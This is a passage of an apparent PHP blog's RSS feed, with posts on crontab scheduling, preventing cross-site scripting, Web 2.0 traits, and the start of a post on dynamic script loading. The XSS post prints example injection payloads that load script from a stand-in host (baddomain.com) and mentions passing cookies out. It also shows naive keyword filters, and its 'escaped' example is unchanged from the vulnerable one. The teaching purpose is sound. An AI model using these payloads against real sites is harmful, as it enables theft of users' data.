    &lt;li&gt;&lt;em&gt;As an asterisk with an accompanying value&lt;/em&gt;:  For example, &lt;span class=&quot;pf&quot;&gt;*/5&lt;/span&gt; placed in the &lt;span class=&quot;pf&quot;&gt;Minute&lt;/span&gt; field means that the script will execute every &lt;span class=&quot;pf&quot;&gt;5&lt;/span&gt; minutes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The sixth and last command argument specifies the script name or command to execute.&lt;br /&gt;
&lt;br /&gt;
In addition to the required fields, you can optionally generate a log file or an error file using these optional arguments:&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;em&gt;Log file&lt;/em&gt;: Specify a log file by using two right angle brackets (&lt;span class=&quot;pf&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;) followed by the log file name; for example, &lt;span class=&quot;pf&quot;&gt;&amp;gt;&amp;gt;cron.log&lt;/span&gt;.&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;Error file&lt;/em&gt;: Specify an error file using the prefix &lt;span class=&quot;pf&quot;&gt;2&amp;gt;&amp;gt;&lt;/span&gt; followed by the error file name; for example, &lt;span class=&quot;pf&quot;&gt;2&amp;gt;&amp;gt;cron.err&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Crontab File Examples&lt;/strong&gt;&lt;br /&gt;
In this section you'll see some crontab file examples that reference the &lt;span class=&quot;pf&quot;&gt;mycron.php&lt;/span&gt; PHP script listed below. The script creates a file containing the date and time at which the script ran:&lt;/p&gt;
&lt;table width=&quot;85%&quot; cellpadding=&quot;3&quot; border=&quot;1&quot; style=&quot;background: white none repeat scroll 0% 0%; font-family: Verdana,Arial,Helvetica,Sans-Serif; font-size: x-small; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;&quot;&gt;
    &lt;tbody&gt;
        &lt;tr&gt;
            &lt;td&gt;&lt;strong&gt;Author's Note&lt;/strong&gt; The following script writes output to a &lt;span class=&quot;pf&quot;&gt;logs&lt;/span&gt; subdirectory of the current directory. If you're following along, you must create that directory before running the PHP script.&lt;/td&gt;
        &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   &amp;lt;?php   &lt;br /&gt;     &lt;br /&gt;      $currentDate = date('Y-m-d'); &lt;br /&gt;   &lt;br /&gt;      $hf = fopen(&amp;quot;./logs/&amp;quot;.$currentDate.&amp;quot;_log.txt&amp;quot;,&amp;quot;w&amp;quot;)&lt;br /&gt;            or die (&amp;quot; The file&amp;quot;.$currentDate. &lt;br /&gt;            &amp;quot;_log.txt couldn't be created!&amp;quot;);&lt;br /&gt;      &lt;br /&gt;      //Write the current date and time when the process is ruled&lt;br /&gt;      $wrt=fwrite($hf,&amp;quot;***  [&amp;quot;.date('Y-m-d H:i:s'.&amp;quot;]   ***&amp;quot;));  &lt;br /&gt;      &lt;br /&gt;      fclose($hf);&lt;br /&gt;    &lt;br /&gt;   ?&amp;gt;   &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Example 1&lt;/em&gt;&lt;br /&gt;
To run the &lt;span class=&quot;pf&quot;&gt;mycron.php&lt;/span&gt; script every Friday at 3:45 AM, your crontab file must contain the following content on a single line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   45 3 * * 5  php  --q  path/mycron.php  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Example 2&lt;/em&gt;&lt;br /&gt;
To run the script every 20 minutes, on March 23rd, the crontab file would look like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   */20  *  23  3  *  php --q  path/mycron.php&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;span class=&quot;pf&quot;&gt;php&amp;mdash;q&lt;/span&gt; parameter in the preceding example is required to execute the script. The path argument represents the absolute path of the script.&lt;br /&gt;
&lt;br /&gt;
If you want to specify URL paths instead of absolute paths, you'll need the &lt;span class=&quot;pf&quot;&gt;wget&lt;/span&gt; packet. To check if the &lt;span class=&quot;pf&quot;&gt;wget&lt;/span&gt; packet is installed, type the following command on an RPM system (Red Hat or Mandrake):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   #wget --help&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If not, you can &lt;a target=&quot;_blank&quot; href=&quot;http://www.linuxfromscratch.org/blfs/view/stable/basicnet/wget.html&quot;&gt;download wget&lt;/a&gt;. Follow the installation instructions on that page.&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;Example 3&lt;/em&gt;&lt;br /&gt;
With &lt;span class=&quot;pf&quot;&gt;wget&lt;/span&gt; installed, you can now run this URL script every Monday, Wednesday, and Friday at 00:32 AM, using a crontab file that contains the following content on a single line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   32  0  *  *  1,3,5  wget  http://www.yoursite.com/script.php&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;</description>
								         <pubDate>Wed, 10 Dec 2008 10:52:33 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/27/PHP-Crons-and-Linux</guid>
								      </item>								      <item>
								         <title>Preventing Cross Site Scripting Attacks - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/26/Preventing-Cross-Site-Scripting-Attacks---By-PHP-Expert</link>
								         <description>&lt;p&gt;Cross site scripting (XSS) is basically using JavaScript to execute JavaScript from an unwanted domain in a page. Such scripts could expose any data in a page that is accessible by JavaScript including, cookies, form data, or content to a 3rd party. Here is how you can prevent your web pages from being exploited on both the client and the server. This is followed with tips on how to avoid vulnerable sites.&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html#escape&quot;&gt;&lt;strong&gt;Escape parameters and User Input&lt;/strong&gt;&lt;/a&gt; - The safest step you can take is to escape all parameters to a page where the parameters are displayed in the content.The same applies for any user input that may be displayed or re-displayed in a web page rendered by a server. The downside is that your users can not provide markup.&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html#eval-javascript&quot;&gt;&lt;strong&gt;Remove &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;javascript&lt;/code&gt;, and &lt;code&gt;script&lt;/code&gt; from User Provided Markup&lt;/strong&gt;&lt;/a&gt; - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove &lt;code&gt;eval()&lt;/code&gt; and &lt;code&gt;javascript:&lt;/code&gt; calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html#server&quot;&gt;&lt;strong&gt;Filter User Input on the Server&lt;/strong&gt;&lt;/a&gt; - You should always filter user input that is stored or processed on a server because URLs and GET/POST requests can be created manually.&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html#jsonp&quot;&gt;&lt;strong&gt;Use Caution with Dynamic Script Injection&lt;/strong&gt;&lt;/a&gt; - Be careful when dynamically injecting external scripts to retrieve JSON based data as you are potentially exposing everything accessible by JavaScript.&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html#victim&quot;&gt;&lt;strong&gt;Avoid XSS Phishing Attacks&lt;/strong&gt;&lt;/a&gt; - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a name=&quot;escape&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Escape Parameters and User Input&lt;/h2&gt;
&lt;p&gt;This is the classic XSS attack that can open your service or web application up to hackers. By design the site displays a user's id that is passed in as a URL parameter. The following script will take the id and display a welcome message.&lt;/p&gt;
&lt;pre&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  var start = window.location.href.indexOf(&amp;quot;id&amp;quot;);
  var stop = window.location.href.length;
  var id = &amp;quot;guest&amp;quot;;
  if (start &amp;lt; stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
  }
  document.write(&amp;quot;Hi &amp;quot; + id);
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;p&gt;A request to the URL &lt;code&gt;index.html?id=greg&lt;/code&gt; (assuming the page containing the script is index.html) will result in:&lt;/p&gt;
&lt;pre&gt;Hi greg&lt;/pre&gt;
&lt;p&gt;What would happen if instead of &amp;quot;greg&amp;quot; I used the following URL:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Notice the URL above contains a link to script &lt;code&gt;http://baddomain.com/badscript.js&lt;/code&gt; which contains malicious code from a different domain. This script will be evaluated when the page is loaded putting the page and all the data in it at risk.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To prevent from these types of attacks your client code should always escape &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot; parameters that are displayed or evaluated by JavaScript code.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can do this with a simple line of code as can be seen in the next example.&lt;/p&gt;
&lt;pre&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  var start = window.location.href.indexOf(&amp;quot;id&amp;quot;);
  var stop = window.location.href.length;
  var id = &amp;quot;guest&amp;quot;;
  if (start &amp;lt; stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
	
  }
  document.write(&amp;quot;hi &amp;quot; + id);
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;p&gt;Consider the following containing a form where a user enters a description that will be visible to other users.&lt;/p&gt;
&lt;pre&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  function displayName() {
    var description = document.getElementById(&amp;quot;description&amp;quot;).value;
    var display = document.getElementById(&amp;quot;display&amp;quot;);
    display.innerHTML = description;
  }
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form onsubmit=&amp;quot;displayName();return false;&amp;quot;&amp;gt;
&amp;lt;textarea id=&amp;quot;description&amp;quot; type=&amp;quot;text&amp;quot; cols=&amp;quot;55&amp;quot; rows=&amp;quot;5&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;
&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Show Description&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;div id=&amp;quot;display&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;
&lt;p&gt;Seems innocent enough right? Try including the following content in the text area.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;a onmouseover=&amp;quot;eval('s=document.createElement(\'script\'); document.body.appendChild(s); s.src=\'badscript.js\'')&amp;quot;&amp;gt;Mouse Over Me&amp;lt;/a&amp;gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;mouseover&lt;/code&gt; of the link will cause a script in a &lt;code&gt;badscript.js&lt;/code&gt; to be loaded. This script could also pass along cookies or any other information it wanted to as parameters of the &amp;quot;s.src&amp;quot; URL. Unlike the first example where the user would need to click on a bad link this type of attack requires a simple &lt;code&gt;mouseover&lt;/code&gt; to load the &lt;code&gt;badscript.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So the question now comes to mind: 'How do you protect your web page from being being exploited?'&lt;/p&gt;
&lt;p&gt;Along with the parameters you should escape form input. If you plan to allow users to provide their own markup consider the next solution titled &lt;a href=&quot;http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html#eval-javascript&quot;&gt;Remove &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;javascript&lt;/code&gt;, and &lt;code&gt;script&lt;/code&gt; from User Provided Markup&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The following code shows how to escape markup on the client.&lt;/p&gt;
&lt;pre&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  function displayName() {
    var description = document.getElementById(&amp;quot;description&amp;quot;).value;
    var display = document.getElementById(&amp;quot;display&amp;quot;);
    &lt;span style=&quot;color: green&quot;&gt;description = description .replace(/&amp;lt;/g, &amp;quot;&amp;amp;lt;&amp;quot;).replace(/&amp;gt;/g, &amp;quot;&amp;amp;gt;&amp;quot;);&lt;/span&gt;
    display.innerHTML = description;
  } 
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form onsubmit=&amp;quot;displayName();return false;&amp;quot;&amp;gt;
&amp;lt;textarea id=&amp;quot;description&amp;quot; type=&amp;quot;text&amp;quot; cols=&amp;quot;55&amp;quot; rows=&amp;quot;5&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;
&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Show Description&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;div id=&amp;quot;display&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;
&lt;p&gt;The code &lt;code&gt;description = description.replace(//g, &amp;quot;&amp;gt;&amp;quot;);&lt;/code&gt; filters the user input and prevents unwanted scripts from being executed.&lt;/p&gt;
&lt;p&gt;Now that we have looked at how to prevent most attacks the next section focuses on cases where you want to allow users to provide markup that does not contain malicious code.&lt;/p&gt;
&lt;p&gt;&lt;a name=&quot;eval-javascript&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Remove &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;javascript:&lt;/code&gt;, and &lt;code&gt;script&lt;/code&gt; from User Provided Markup&lt;/h2&gt;
&lt;p&gt;There may be cases where you want to allow a user to add markup such as links or HTML content that is displayed for other users to see. Consider a blog that allows for HTML markup, user provided URLs, HTML comments, or any other markup. The solution would be to filter all markup before it is displayed in a page or before it is sent to a server or service. The following example shows how to allow for some HTML markup while preventing malicious code.&lt;/p&gt;
&lt;pre&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  function displayName() {
    var description = document.getElementById(&amp;quot;description&amp;quot;).value;
    var display = document.getElementById(&amp;quot;display&amp;quot;);
    &lt;span style=&quot;color: green&quot;&gt;description.replace(/[\&amp;quot;\'][\s]*javascript:(.*)[\&amp;quot;\']/g, &amp;quot;\&amp;quot;\&amp;quot;&amp;quot;);&lt;/span&gt;
    &lt;span style=&quot;color: green&quot;&gt;description = description.replace(/script(.*)/g, &amp;quot;&amp;quot;);&lt;/span&gt;    
    &lt;span style=&quot;color: green&quot;&gt;description = description.replace(/eval\((.*)\)/g, &amp;quot;&amp;quot;);&lt;/span&gt;
    display.innerHTML = description;
  } 
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form onsubmit=&amp;quot;displayName();return false;&amp;quot;&amp;gt;
&amp;lt;textarea id=&amp;quot;description&amp;quot; type=&amp;quot;text&amp;quot; cols=&amp;quot;55&amp;quot; rows=&amp;quot;5&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;
&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Show Description&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;div id=&amp;quot;display&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;
&lt;p&gt;The example above removes all &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;javascript&lt;/code&gt; and &lt;code&gt;script&lt;/code&gt; references that may be entered in the description field. The replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. You may consider refining the regular expressions to only look in tag attributes for example and to remove full scripts. There are other considerations you should keep in mind when filtering client code such as line breaks, charsets, case sensitivity which are commonly exploited in attacks. As some browsers will allow you to specify JavaScript calls from CSS styles you should also consider searching user provided CSS styles as well.&lt;/p&gt;
&lt;p&gt;&lt;a name=&quot;server&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Filter User Input on the Server&lt;/h2&gt;
&lt;p&gt;Most of the problems related to cross site scripting are because of poorly designed clients. Servers can also unwillingly become participants in cross domain scripting attacks if they redisplay unfiltered user input. Consider the following example where a hacker manually makes a HTTP POST request to set the homepage URL with the following.&lt;/p&gt;
&lt;pre&gt;&amp;lt;a href=&amp;quot;javascipt:eval('alert(\'bad\')');&amp;quot;&amp;gt;Click Me&amp;lt;/a&amp;gt;&lt;/pre&gt;
&lt;p&gt;The URL would end up being stored as is on the server as is and expose any user that clicks on the URL to the JavaScript. The example above seems innocent enough but consider what would happen if in place of an alert('bad') the &amp;quot;javascript&amp;quot; contained malicious code. To prevent such attacks you should filter user input on the server. The following Java example shows how to use regular expression replacement to filter user input.&lt;/p&gt;
&lt;pre&gt;String description = request.getParameter(&amp;quot;description&amp;quot;);
&lt;span style=&quot;color: green&quot;&gt;description = description.replaceAll(&amp;quot;&amp;lt;&amp;quot;, &amp;quot;&amp;amp;lt;&amp;quot;).replaceAll(&amp;quot;&amp;gt;&amp;quot;, &amp;quot;&amp;amp;gt;&amp;quot;);&lt;/span&gt;
&lt;span style=&quot;color: green&quot;&gt;description = description.replaceAll(&amp;quot;eval\\((.*)\\)&amp;quot;, &amp;quot;&amp;quot;);&lt;/span&gt;
&lt;span style=&quot;color: green&quot;&gt;description = description.replaceAll(&amp;quot;[\\\&amp;quot;\\\'][\\s]*javascript:(.*)[\\\&amp;quot;\\\']&amp;quot;, &amp;quot;\&amp;quot;\&amp;quot;&amp;quot;);&lt;/span&gt;
&lt;span style=&quot;color: green&quot;&gt;description = description.replaceAll(&amp;quot;script&amp;quot;, &amp;quot;&amp;quot;);&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;The code above removes &lt;code&gt;eval()&lt;/code&gt; calls, &lt;code&gt;javascript:&lt;/code&gt; calls, and &lt;code&gt;script&lt;/code&gt; references the replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. The code above may be applied using a servlet, servlet filter, or JSF component on all input parameters or on a per parameter basis depending on what how much markup you would like to allow users to provide. You may want refine the regular expressions that filter the content to handle more or consider a Java library built that specializes in removing malicious code.&lt;/p&gt;
&lt;p&gt;&lt;a name=&quot;jsonp&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Use Caution with Dynamic Script Injection&lt;/h2&gt;
&lt;p&gt;Dynamic script injection to retrieve JSON data (also known as &lt;a href=&quot;http://bob.pythonmac.org/archives/2005/12/05/remote-json-jsonp/&quot;&gt;JSONP&lt;/a&gt;) can be powerful and useful as it decouples your client from the server of origin. There is still a bit of debate over using JSONP as some consider it as a hack or security hole in JavaScript because when you dynamically include a reference to a 3rd party script you are giving that script full access to everything in your page. That script could go on to inject other scripts or do pretty much whatever it wanted.&lt;/p&gt;
&lt;p&gt;If you choose to use JSONP make sure you trust the site for which you are interacting with. There is nothing stopping a JSONP provider from including unwanted script with JSONP data. One alternative would be to provide a &lt;a href=&quot;http://weblogs.java.net/blog/gmurray71/archive/2006/08/restricting_acc.html&quot;&gt;proxy service&lt;/a&gt; which you can control the output, restrict access to, and can cache as needed.&lt;/p&gt;
&lt;p&gt;&lt;a name=&quot;victim&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Avoid XSS Phishing Attacks&lt;/h2&gt;
&lt;p&gt;This next recommendation focuses on protecting yourself as a user from a site that is vulnerable to cross site scripting attacks.&lt;/p&gt;
&lt;p&gt;Phishing attacks, or attacks where what appears to be a valid URL links to a fraudulent web page who's purpose is to collect a users data, are nothing new to the web world. A related attack involves cross site scripting attacks where a URL to a legitimate site that has a cross site scripting vulnerability contains a script reference. Such a link may appear in an email message, blog posting/comment, or other user generated content that contains a URL. Clicking a link to a site containing a cross site scripting vulnerability would cause a 3rd party script to be included along with your request and could expose your password, user id, or any other data. Consider the following example:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E&amp;quot;&amp;gt;See foobar&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A quick look at the URL shows it references the site &lt;code&gt;http://foobar.com/index.html&lt;/code&gt;. An unsuspecting user may not see the script included as a parameter later in the URL.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It is also wise to always look at carefully at URLs and the URL parameters that are provided with them. URLs will always appear in the status bar of your browser as and you should always look for external script reference. Another solution would be to manually type in links into the URL bar of your browser if a link is suspect.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Be aware of &lt;a href=&quot;http://web3.m34s11.vlinux.de/xss_research.htm&quot;&gt;sites known to have vulnerabilities&lt;/a&gt; and be very careful with any personal data you provide those sites.&lt;/p&gt;
&lt;p&gt;While JavaScript based interfaces can be very flexible you need to be very careful with all user provided input whether it be as parameters or form data. Always make sure to escape or filter input on the both the client and server. As a user you should be cautious not to become a victim of a vulnerable site. It's better to be safe than in the news!&lt;/p&gt;</description>
								         <pubDate>Fri, 03 Oct 2008 04:03:47 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/26/Preventing-Cross-Site-Scripting-Attacks---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>What is Web 2.0 - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/25/What-is-Web-2.0---By-PHP-Expert</link>
								         <description>&lt;p&gt;What Makes a Web 2.0 Application?&lt;br /&gt;
&lt;br /&gt;
Open Data&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Open data formats&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * No data lock-in or walled gardens&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * User created data&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * User owns their own data&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Ability to use data outside the confines of the application&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Data used across devices&lt;br /&gt;
&lt;br /&gt;
Architecture of Participation&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Providing a service, not a product (infoware not software)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Encourage user contribution (reviews, comments)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Collective intelligence (PageRank, folksonomies, popularity)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Make it easy to re-use and re-mix&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Customer self-service&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Community and sense of ownership&lt;br /&gt;
&lt;br /&gt;
Rich User Experience&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Easy to use&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Pleasurable to use&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Build social networks&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Rich user interface&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Functions like a traditional application&lt;br /&gt;
&lt;br /&gt;
Cool Web 2.0 Applications&lt;br /&gt;
OnOneMap&lt;br /&gt;
Netvibes.com&lt;br /&gt;
Backpackit.com&lt;br /&gt;
Meebo.com&lt;br /&gt;
Writely.com&lt;br /&gt;
&lt;br /&gt;
Core Web 2.0 Technologies&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Open data through API's and web services&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * RSS&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Ajax&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Web Standards (DOM Scripting, XHTML, CSS)&lt;br /&gt;
&lt;br /&gt;
Where's the Revolution?&lt;br /&gt;
Web 2.0 Revolution&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Using existing technologies in new and innovative ways&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Change in the way people view the web&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * More mature industry&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Healthier web economy&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Need to innovate just to maintain position&lt;br /&gt;
&lt;br /&gt;
Exciting Time to be a Web Developer&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Sudden renewed energy on the web&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * New apps popping up every week&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Big companies snapping up talent&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * People investing in start-ups again&lt;br /&gt;
&lt;br /&gt;
The Web as a Platform&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Simplifies distribution&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Easy way of maintaining code&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Faster speed to market&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Share data across devices&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Subscription model vs. one off purchase&lt;br /&gt;
&lt;br /&gt;
What Next?&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Ajax Applications&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Desktop Widgets (Dashboard, Konfabulator etc)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Flex Applications&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * OpenLazlo Applications&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * XUL Applications&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; * Smart Clients and Avalon&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.nileshpawar.com/contactme.htm&quot; style=&quot;color:red;&quot;&gt;Questions?&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Fri, 19 Sep 2008 03:53:27 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/25/What-is-Web-2.0---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Dynamically Loading JavaScript Files - by PHP Expert</title>
								         <link>http://www.nileshpawar.com/24/Dynamically-Loading-JavaScript-Files---by-PHP-Expert</link>
								         <description>&lt;p&gt;As you develop web applications that make use of Ajax to dynamically load content on a web page, you might find that you also need to dynamically load a JavaScript file. The remainder of this blog post describes a function to achieve exactly this.&lt;/p&gt;
&lt;p&gt;This function relies on the Prototype JavaScript framework, which hopefully you are using already.&lt;/p&gt;
&lt;p&gt;In order to load a JavaScript file you need to insert a new script element into the Document Object Model (DOM). While in theory this sounds relatively straightforward, you need to ensure the code has finished loading before you can make use of it.&lt;/p&gt;
&lt;p&gt;This is achieved by observing the &lt;code&gt;onload&lt;/code&gt; event on the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; element. Unfortunately, doing so will work on all browsers except for Internet Explorer, which instead requires that you monitor the &lt;code&gt;onreadystatechange&lt;/code&gt; event.&lt;/p&gt;
&lt;p&gt;The following function allows you to easily load JavaScript files in real time.&lt;/p&gt;
&lt;div class=&quot;listing&quot;&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;div class=&quot;hl-main&quot;&gt;
